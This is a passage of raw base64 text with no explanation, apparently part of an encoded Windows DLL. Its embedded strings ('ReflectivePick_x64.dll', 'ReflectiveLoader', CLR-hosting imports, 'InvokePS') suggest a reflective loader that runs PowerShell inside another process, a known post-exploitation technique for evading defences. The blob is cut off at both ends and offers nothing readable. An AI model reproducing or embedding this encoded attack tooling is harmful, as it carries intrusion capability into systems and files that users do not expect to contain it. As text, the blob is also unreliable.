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AAAAAAAIAJAAAAAAAAgAgAAAAAAACABgAAAAAAAIACAAAAAAAAgAAAAAAAAAAANuIBAAAAAAAAAAAAAAAAAE9MRUFVVDMyLmRsbAAAAABDTFJDcmVhdGVJbnN0YW5jZQBtc2NvcmVlLmRsbACuBFJ0bENhcHR1cmVDb250ZXh0ALUEUnRsTG9va3VwRnVuY3Rpb25FbnRyeQAAvARSdGxWaXJ0dWFsVW53aW5kAACSBVVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAUgVTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIADwJHZXRDdXJyZW50UHJvY2VzcwBwBVRlcm1pbmF0ZVByb2Nlc3MAAHADSXNQcm9jZXNzb3JGZWF0dXJlUHJlc2VudAAwBFF1ZXJ5UGVyZm9ybWFuY2VDb3VudGVyABACR2V0Q3VycmVudFByb2Nlc3NJZAAUAkdldEN1cnJlbnRUaHJlYWRJZAAA3QJHZXRTeXN0ZW1UaW1lQXNGaWxlVGltZQBUA0luaXRpYWxpemVTTGlzdEhlYWQAagNJc0RlYnVnZ2VyUHJlc2VudADFAkdldFN0YXJ0dXBJbmZvVwBtAkdldE1vZHVsZUhhbmRsZVcAAFYCR2V0TGFzdEVycm9yAADUA011bHRpQnl0ZVRvV2lkZUNoYXIA3QVXaWRlQ2hhclRvTXVsdGlCeXRlALUDTG9jYWxGcmVlALsEUnRsVW53aW5kRXgAtwRSdGxQY1RvRmlsZUhlYWRlcgBEBFJhaXNlRXhjZXB0aW9uAABYA0ludGVybG9ja2VkRmx1c2hTTGlzdAAZBVNldExhc3RFcnJvcgAAKQFFbnRlckNyaXRpY2FsU2VjdGlvbgAApQNMZWF2ZUNyaXRpY2FsU2VjdGlvbgAABgFEZWxldGVDcml0aWNhbFNlY3Rpb24AUQNJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50AIIFVGxzQWxsb2MAAIQFVGxzR2V0VmFsdWUAhQVUbHNTZXRWYWx1ZQCDBVRsc0ZyZWUApAFGcmVlTGlicmFyeQCkAkdldFByb2NBZGRyZXNzAACqA0xvYWRMaWJyYXJ5RXhXAAAlAUVuY29kZVBvaW50ZXIAVwFFeGl0UHJvY2VzcwBsAkdldE1vZHVsZUhhbmRsZU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